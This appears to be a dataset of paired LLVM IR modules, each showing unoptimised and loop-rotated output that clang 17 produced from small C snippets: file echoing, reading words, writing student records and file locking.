br i1 %10, label %11, label %15
11: ; preds = %6
%12 = load ptr, ptr %4, align 8
%13 = load i32, ptr %5, align 4
%14 = call i32 @fprintf(ptr noundef %12, ptr noundef @.str, i32 noundef %13)
br label %6, !llvm.loop !6
15: ; preds = %6
ret void
}
declare i32 @getc(ptr noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp61nmfjv0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EOF = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [3 x i8] c"%c\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @echo2file(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%6 = load ptr, ptr %3, align 8
%7 = call i32 @getc(ptr noundef %6)
store i32 %7, ptr %5, align 4
%8 = load i32, ptr @EOF, align 4
%9 = icmp ne i32 %7, %8
br i1 %9, label %.lr.ph, label %18
.lr.ph: ; preds = %2
br label %10
10: ; preds = %.lr.ph, %10
%11 = load ptr, ptr %4, align 8
%12 = load i32, ptr %5, align 4
%13 = call i32 @fprintf(ptr noundef %11, ptr noundef @.str, i32 noundef %12)
%14 = load ptr, ptr %3, align 8
%15 = call i32 @getc(ptr noundef %14)
store i32 %15, ptr %5, align 4
%16 = load i32, ptr @EOF, align 4
%17 = icmp ne i32 %15, %16
br i1 %17, label %10, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %10
br label %18
18: ; preds = %._crit_edge, %2
ret void
}
declare i32 @getc(ptr noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp0e887oe5.c'
source_filename = "/tmp/tmp0e887oe5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @BNC_8() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i8, align 1
%4 = alloca i8, align 1
store i32 99, ptr %2, align 4
%5 = call i32 @BNCIO(i32 noundef 8)
%6 = load i32, ptr %2, align 4
ret i32 %6
}
declare i32 @BNCIO(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp0e887oe5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @BNC_8() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i8, align 1
%4 = alloca i8, align 1
store i32 99, ptr %2, align 4
%5 = call i32 @BNCIO(i32 noundef 8)
%6 = load i32, ptr %2, align 4
ret i32 %6
}
declare i32 @BNCIO(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpqu48itbg.c'
source_filename = "/tmp/tmpqu48itbg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [27 x i8] c"Enter number of students: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [15 x i8] c"C:\\student.txt\00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c"a\00", align 1
@.str.4 = private unnamed_addr constant [7 x i8] c"Error!\00", align 1
@.str.5 = private unnamed_addr constant [27 x i8] c"For student%d\0AEnter name: \00", align 1
@.str.6 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.7 = private unnamed_addr constant [14 x i8] c"Enter marks: \00", align 1
@.str.8 = private unnamed_addr constant [22 x i8] c"\0AName: %s \0AMarks=%d \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [50 x i8], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 0, ptr %1, align 4
%7 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%8 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %5)
%9 = call ptr @fopen(ptr noundef @.str.2, ptr noundef @.str.3)
store ptr %9, ptr %6, align 8
%10 = load ptr, ptr %6, align 8
%11 = icmp eq ptr %10, null
br i1 %11, label %12, label %15
12: ; preds = %0
%13 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
%14 = call i32 @exit(i32 noundef 1) #3
unreachable
15: ; preds = %0
store i32 0, ptr %4, align 4
br label %16
16: ; preds = %32, %15
%17 = load i32, ptr %4, align 4
%18 = load i32, ptr %5, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %20, label %35
20: ; preds = %16
%21 = load i32, ptr %4, align 4
%22 = add nsw i32 %21, 1
%23 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %22)
%24 = getelementptr inbounds [50 x i8], ptr %2, i64 0, i64 0
%25 = call i32 (ptr, ...) @scanf(ptr noundef @.str.6, ptr noundef %24)
%26 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
%27 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %3)
%28 = load ptr, ptr %6, align 8
%29 = getelementptr inbounds [50 x i8], ptr %2, i64 0, i64 0
%30 = load i32, ptr %3, align 4
%31 = call i32 @fprintf(ptr noundef %28, ptr noundef @.str.8, ptr noundef %29, i32 noundef %30)
br label %32
32: ; preds = %20
%33 = load i32, ptr %4, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %4, align 4
br label %16, !llvm.loop !6
35: ; preds = %16
%36 = load ptr, ptr %6, align 8
%37 = call i32 @fclose(ptr noundef %36)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @fprintf(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqu48itbg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [27 x i8] c"Enter number of students: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [15 x i8] c"C:\\student.txt\00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c"a\00", align 1
@.str.4 = private unnamed_addr constant [7 x i8] c"Error!\00", align 1
@.str.5 = private unnamed_addr constant [27 x i8] c"For student%d\0AEnter name: \00", align 1
@.str.6 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.7 = private unnamed_addr constant [14 x i8] c"Enter marks: \00", align 1
@.str.8 = private unnamed_addr constant [22 x i8] c"\0AName: %s \0AMarks=%d \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [50 x i8], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 0, ptr %1, align 4
%7 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%8 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %5)
%9 = call ptr @fopen(ptr noundef @.str.2, ptr noundef @.str.3)
store ptr %9, ptr %6, align 8
%10 = load ptr, ptr %6, align 8
%11 = icmp eq ptr %10, null
br i1 %11, label %12, label %15
12: ; preds = %0
%13 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
%14 = call i32 @exit(i32 noundef 1) #3
unreachable
15: ; preds = %0
store i32 0, ptr %4, align 4
%16 = load i32, ptr %4, align 4
%17 = load i32, ptr %5, align 4
%18 = icmp slt i32 %16, %17
br i1 %18, label %.lr.ph, label %37
.lr.ph: ; preds = %15
br label %19
19: ; preds = %.lr.ph, %31
%20 = load i32, ptr %4, align 4
%21 = add nsw i32 %20, 1
%22 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %21)
%23 = getelementptr inbounds [50 x i8], ptr %2, i64 0, i64 0
%24 = call i32 (ptr, ...) @scanf(ptr noundef @.str.6, ptr noundef %23)
%25 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
%26 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %3)
%27 = load ptr, ptr %6, align 8
%28 = getelementptr inbounds [50 x i8], ptr %2, i64 0, i64 0
%29 = load i32, ptr %3, align 4
%30 = call i32 @fprintf(ptr noundef %27, ptr noundef @.str.8, ptr noundef %28, i32 noundef %29)
br label %31
31: ; preds = %19
%32 = load i32, ptr %4, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %4, align 4
%34 = load i32, ptr %4, align 4
%35 = load i32, ptr %5, align 4
%36 = icmp slt i32 %34, %35
br i1 %36, label %19, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %31
br label %37
37: ; preds = %._crit_edge, %15
%38 = load ptr, ptr %6, align 8
%39 = call i32 @fclose(ptr noundef %38)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @fprintf(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpqxf5n47g.c'
source_filename = "/tmp/tmpqxf5n47g.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@readNextWordFromFile.alloc_size = internal constant i64 127, align 8
@EOF = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @readNextWordFromFile(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
%6 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store ptr null, ptr %3, align 8
store i64 0, ptr %4, align 8
store i64 0, ptr %5, align 8
br label %7
7: ; preds = %18, %1
%8 = load ptr, ptr %2, align 8
%9 = call i32 @fgetc(ptr noundef %8)
store i32 %9, ptr %6, align 4
%10 = load i32, ptr @EOF, align 4
%11 = icmp ne i32 %9, %10
br i1 %11, label %12, label %16
12: ; preds = %7
%13 = load i32, ptr %6, align 4
%14 = call i64 @isspace(i32 noundef %13)
%15 = icmp ne i64 %14, 0
br label %16
16: ; preds = %12, %7
%17 = phi i1 [ false, %7 ], [ %15, %12 ]
br i1 %17, label %18, label %19
18: ; preds = %16
br label %7, !llvm.loop !6
19: ; preds = %16
%20 = load ptr, ptr %2, align 8
%21 = call i32 @feof(ptr noundef %20)
%22 = icmp ne i32 %21, 0
br i1 %22, label %83, label %23
23: ; preds = %19
store i64 127, ptr %5, align 8
%24 = load i64, ptr %5, align 8
%25 = call i64 @malloc(i64 noundef %24)
%26 = inttoptr i64 %25 to ptr
store ptr %26, ptr %3, align 8
%27 = load ptr, ptr %3, align 8
%28 = icmp ne ptr %27, null
%29 = zext i1 %28 to i32
%30 = call i32 @assert(i32 noundef %29)
br label %31
31: ; preds = %63, %23
%32 = load i64, ptr %4, align 8
%33 = load i64, ptr %5, align 8
%34 = icmp uge i64 %32, %33
br i1 %34, label %35, label %46
35: ; preds = %31
%36 = load i64, ptr %5, align 8
%37 = add i64 %36, 127
store i64 %37, ptr %5, align 8
%38 = load ptr, ptr %3, align 8
%39 = load i64, ptr %5, align 8
%40 = call i64 @realloc(ptr noundef %38, i64 noundef %39)
%41 = inttoptr i64 %40 to ptr
store ptr %41, ptr %3, align 8
%42 = load ptr, ptr %3, align 8
%43 = icmp ne ptr %42, null
%44 = zext i1 %43 to i32
%45 = call i32 @assert(i32 noundef %44)
br label %46
46: ; preds = %35, %31
%47 = load i32, ptr %6, align 4
%48 = trunc i32 %47 to i8
%49 = load ptr, ptr %3, align 8
%50 = load i64, ptr %4, align 8
%51 = add i64 %50, 1
store i64 %51, ptr %4, align 8
%52 = getelementptr inbounds i8, ptr %49, i64 %50
store i8 %48, ptr %52, align 1
br label %53
53: ; preds = %46
%54 = load ptr, ptr %2, align 8
%55 = call i32 @fgetc(ptr noundef %54)
store i32 %55, ptr %6, align 4
%56 = load i32, ptr @EOF, align 4
%57 = icmp ne i32 %55, %56
br i1 %57, label %58, label %63
58: ; preds = %53
%59 = load i32, ptr %6, align 4
%60 = call i64 @isspace(i32 noundef %59)
%61 = icmp ne i64 %60, 0
%62 = xor i1 %61, true
br label %63
63: ; preds = %58, %53
%64 = phi i1 [ false, %53 ], [ %62, %58 ]
br i1 %64, label %31, label %65, !llvm.loop !8
65: ; preds = %63
%66 = load i64, ptr %4, align 8
%67 = load i64, ptr %5, align 8
%68 = icmp uge i64 %66, %67
br i1 %68, label %69, label %79
69: ; preds = %65
%70 = load ptr, ptr %3, align 8
%71 = load i64, ptr %5, align 8
%72 = add i64 %71, 1
%73 = call i64 @realloc(ptr noundef %70, i64 noundef %72)
%74 = inttoptr i64 %73 to ptr
store ptr %74, ptr %3, align 8
%75 = load ptr, ptr %3, align 8
%76 = icmp ne ptr %75, null
%77 = zext i1 %76 to i32
%78 = call i32 @assert(i32 noundef %77)
br label %79
79: ; preds = %69, %65
%80 = load ptr, ptr %3, align 8
%81 = load i64, ptr %4, align 8
%82 = getelementptr inbounds i8, ptr %80, i64 %81
store i8 0, ptr %82, align 1
br label %83
83: ; preds = %79, %19
%84 = load ptr, ptr %3, align 8
ret ptr %84
}
declare i32 @fgetc(ptr noundef) #1
declare i64 @isspace(i32 noundef) #1
declare i32 @feof(ptr noundef) #1
declare i64 @malloc(i64 noundef) #1
declare i32 @assert(i32 noundef) #1
declare i64 @realloc(ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqxf5n47g.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@readNextWordFromFile.alloc_size = internal constant i64 127, align 8
@EOF = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @readNextWordFromFile(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
%6 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store ptr null, ptr %3, align 8
store i64 0, ptr %4, align 8
store i64 0, ptr %5, align 8
br label %7
7: ; preds = %16, %1
%8 = load ptr, ptr %2, align 8
%9 = call i32 @fgetc(ptr noundef %8)
store i32 %9, ptr %6, align 4
%10 = load i32, ptr @EOF, align 4
%11 = icmp ne i32 %9, %10
br i1 %11, label %12, label %16
12: ; preds = %7
%13 = load i32, ptr %6, align 4
%14 = call i64 @isspace(i32 noundef %13)
%15 = icmp ne i64 %14, 0
br label %16
16: ; preds = %12, %7
%17 = phi i1 [ false, %7 ], [ %15, %12 ]
br i1 %17, label %7, label %18, !llvm.loop !6
18: ; preds = %16
%19 = load ptr, ptr %2, align 8
%20 = call i32 @feof(ptr noundef %19)
%21 = icmp ne i32 %20, 0
br i1 %21, label %82, label %22
22: ; preds = %18
store i64 127, ptr %5, align 8
%23 = load i64, ptr %5, align 8
%24 = call i64 @malloc(i64 noundef %23)
%25 = inttoptr i64 %24 to ptr
store ptr %25, ptr %3, align 8
%26 = load ptr, ptr %3, align 8
%27 = icmp ne ptr %26, null
%28 = zext i1 %27 to i32
%29 = call i32 @assert(i32 noundef %28)
br label %30
30: ; preds = %62, %22
%31 = load i64, ptr %4, align 8
%32 = load i64, ptr %5, align 8
%33 = icmp uge i64 %31, %32
br i1 %33, label %34, label %45
34: ; preds = %30
%35 = load i64, ptr %5, align 8
%36 = add i64 %35, 127
store i64 %36, ptr %5, align 8
%37 = load ptr, ptr %3, align 8
%38 = load i64, ptr %5, align 8
%39 = call i64 @realloc(ptr noundef %37, i64 noundef %38)
%40 = inttoptr i64 %39 to ptr
store ptr %40, ptr %3, align 8
%41 = load ptr, ptr %3, align 8
%42 = icmp ne ptr %41, null
%43 = zext i1 %42 to i32
%44 = call i32 @assert(i32 noundef %43)
br label %45
45: ; preds = %34, %30
%46 = load i32, ptr %6, align 4
%47 = trunc i32 %46 to i8
%48 = load ptr, ptr %3, align 8
%49 = load i64, ptr %4, align 8
%50 = add i64 %49, 1
store i64 %50, ptr %4, align 8
%51 = getelementptr inbounds i8, ptr %48, i64 %49
store i8 %47, ptr %51, align 1
br label %52
52: ; preds = %45
%53 = load ptr, ptr %2, align 8
%54 = call i32 @fgetc(ptr noundef %53)
store i32 %54, ptr %6, align 4
%55 = load i32, ptr @EOF, align 4
%56 = icmp ne i32 %54, %55
br i1 %56, label %57, label %62
57: ; preds = %52
%58 = load i32, ptr %6, align 4
%59 = call i64 @isspace(i32 noundef %58)
%60 = icmp ne i64 %59, 0
%61 = xor i1 %60, true
br label %62
62: ; preds = %57, %52
%63 = phi i1 [ false, %52 ], [ %61, %57 ]
br i1 %63, label %30, label %64, !llvm.loop !8
64: ; preds = %62
%65 = load i64, ptr %4, align 8
%66 = load i64, ptr %5, align 8
%67 = icmp uge i64 %65, %66
br i1 %67, label %68, label %78
68: ; preds = %64
%69 = load ptr, ptr %3, align 8
%70 = load i64, ptr %5, align 8
%71 = add i64 %70, 1
%72 = call i64 @realloc(ptr noundef %69, i64 noundef %71)
%73 = inttoptr i64 %72 to ptr
store ptr %73, ptr %3, align 8
%74 = load ptr, ptr %3, align 8
%75 = icmp ne ptr %74, null
%76 = zext i1 %75 to i32
%77 = call i32 @assert(i32 noundef %76)
br label %78
78: ; preds = %68, %64
%79 = load ptr, ptr %3, align 8
%80 = load i64, ptr %4, align 8
%81 = getelementptr inbounds i8, ptr %79, i64 %80
store i8 0, ptr %81, align 1
br label %82
82: ; preds = %78, %18
%83 = load ptr, ptr %3, align 8
ret ptr %83
}
declare i32 @fgetc(ptr noundef) #1
declare i64 @isspace(i32 noundef) #1
declare i32 @feof(ptr noundef) #1
declare i64 @malloc(i64 noundef) #1
declare i32 @assert(i32 noundef) #1
declare i64 @realloc(ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpqoofm926.c'
source_filename = "/tmp/tmpqoofm926.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@F_SETLK = dso_local global i32 0, align 4
@F_WRLCK = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fd_get_write_lock(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = load i32, ptr @F_SETLK, align 4
%5 = load i32, ptr @F_WRLCK, align 4
%6 = call i32 @fd_get_lock(i32 noundef %3, i32 noundef %4, i32 noundef %5)
ret i32 %6
}
declare i32 @fd_get_lock(i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqoofm926.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@F_SETLK = dso_local global i32 0, align 4
@F_WRLCK = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fd_get_write_lock(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = load i32, ptr @F_SETLK, align 4
%5 = load i32, ptr @F_WRLCK, align 4
%6 = call i32 @fd_get_lock(i32 noundef %3, i32 noundef %4, i32 noundef %5)
ret i32 %6
}
declare i32 @fd_get_lock(i32 noundef, i32 noundef, i32 noundef) #1
